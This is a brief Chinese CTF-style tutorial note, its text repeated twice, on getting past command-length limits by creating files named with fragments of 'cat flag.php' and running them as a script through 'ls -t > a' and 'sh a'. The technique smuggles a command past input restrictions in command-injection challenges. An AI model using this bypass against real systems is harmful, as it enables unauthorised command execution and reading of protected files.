有事我们的命令长度可能受限,这时我们可以使用touch来生成文件,然后将生成的文件名拼凑成一句命令,最后执行,达到目的
<-- cat flag.php -->
替换:
touch "hp"
touch "g.p\\"
touch "la\\"
touch "t f\\"
touch "ca\\"
ls -t
ls -t >a 将 ls -t 内容写入到a文件中
sh a
\是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行
有事我们的命令长度可能受限,这时我们可以使用touch来生成文件,然后将生成的文件名拼凑成一句命令,最后执行,达到目的
<-- cat flag.php -->
替换:
touch "hp"
touch "g.p\\"
touch "la\\"
touch "t f\\"
touch "ca\\"
ls -t
ls -t >a 将 ls -t 内容写入到a文件中
sh a
\是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行